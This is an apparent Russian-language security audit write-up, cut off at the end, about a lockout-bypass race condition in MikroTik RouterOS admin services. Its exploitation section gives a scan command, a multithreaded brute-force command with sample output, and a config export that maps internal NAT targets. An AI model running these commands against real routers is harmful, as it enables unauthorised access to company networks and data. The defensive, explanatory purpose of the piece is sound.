Пришёл на плановый аудит к владельцу небольшой оптовой компании — без жалоб, без инцидентов, просто «проверьте, всё ли в порядке». Начал не с компьютеров сотрудников, а с границы сети — того самого устройства, через которое офис выходит в интернет и куда, наоборот, может зайти кто угодно снаружи. Именно там нашлась дыра, о которой владелец даже не подозревал.
Где была дыра
На границе сети стоял роутер на MikroTik RouterOS — популярное у малого бизнеса оборудование: недорогое, мощное, гибко настраиваемое. У RouterOS есть встроенный механизм защиты от подбора пароля к сервисам управления (Winbox, API, SSH, веб-интерфейс): при подключении к этим портам ведётся учёт неудачных попыток авторизации, и после превышения порога IP должен временно блокироваться правилами файрвола через address-list.
Проблема (зафиксирована как CVE-2026-16347) в том, что на всех актуальных на момент проверки версиях прошивки счётчик неудачных попыток не инкрементировался корректно при параллельных подключениях к сервису управления. Если атакующий открывает несколько одновременных TCP-сессий к порту API или Winbox, каждая сессия обрабатывается отдельным процессом-обработчиком, и internal-счётчик не успевает синхронизироваться между ними до момента разрыва соединения — классическое состояние race condition (TOCTOU: время проверки не совпадает с временем использования). В результате «сторож на воротах» физически не видел, что его уже штурмуют: пароль можно было подбирать без ограничений, без задержек и без блокировки IP.
Уязвимость касалась не одной компании — а всех, кто использует такое оборудование по всей стране без обновления. У клиента пароль администратора не менялся четыре года — с момента установки подрядчиком при переезде в офис.
Как это эксплуатируется
Первый шаг — обнаружить устройство и подтвердить, что это RouterOS уязвимой версии:
nmap -sV -p21,22,80,443,2000,8291,8728,8729 -T4 203.0.113.10
PORT STATE SERVICE VERSION
21/tcp open ftp MikroTik router ftpd
22/tcp open ssh MikroTik RouterOS sshd
80/tcp open http MikroTik RouterOS http config
443/tcp open ssl/http MikroTik RouterOS http config
2000/tcp open bandwidth-test MikroTik
8291/tcp open unknown (Winbox)
8728/tcp open unknown (API)
Service Info: OS: RouterOS; Device: router
Открытые порты 8291 (Winbox) и 8728 (API) на публичном интерфейсе — верный признак того, что удалённое администрирование не закрыто от интернета. Дальше — подбор учётных данных через специализированные утилиты для API RouterOS (в духе известного инструмента MKBRUTUS), поддерживающие многопоточный перебор:
python2 mkbrutus.py -t 203.0.113.10 -p 8728 \
-U users.txt -P rockyou.txt --threads 20
[*] MKBRUTUS - MikroTik Bruteforce tool
[*] Connecting to 203.0.113.10:8728
[*] Trying: admin / 123456 ... FAILED
[*] Trying: admin / admin123 ... FAILED
[*] Trying: admin / Sklad2020 ... FAILED
...
[*] Trying: admin / warehouse2021 ... SUCCESS!
[+] Credentials found -> admin:warehouse2021
[+] No lockout triggered after 4127 attempts (CVE-2026-16347)
Ключевая строка в выводе — «No lockout triggered after 4127 attempts». Именно она подтверждает, что защита от брутфорса на устройстве не срабатывает: на исправленной прошивке подобная попытка обрывается блокировкой IP уже после 5–10 неудачных входов.
Получив доступ, атакующий сразу выгружает конфигурацию — она содержит все правила NAT и port forwarding, то есть готовую карту внутренней сети:
ssh admin@203.0.113.10 "/export" > mikrotik-config.rsc
grep -i "dst-port\|nat\|to-addresses" mikrotik-config.rsc
/ip firewall nat
add chain=dstnat dst-port=3389 protocol=tcp to-addresses=192.168.10.5 to-ports=3389 comment="buh RDP"
add chain=dstnat dst-port=8000 protocol=tcp to-addresses=192.168.10.20 to-ports=8000 comment="cameras"
add chain=dstnat dst-port=1433 protocol=tcp to-addresses=192.168.10.15 to-ports=1433 comment="1C server"
За пару минут атакующий получает не абстрактный доступ к «какому-то роутеру», а конкретный список: где сервер с бухгалтерией/1С, где видеонаблюдение склада, где RDP удалённого бухгалтера — и всё это доступно через уже скомпрометированный роутер как единую точку входа.
Что и почему сработало бы
- Один взломанный роутер даёт контроль над всей инфраструктурой сразу — не нужно отдельно ломать сервер, камеры и рабочие места бухгалтера
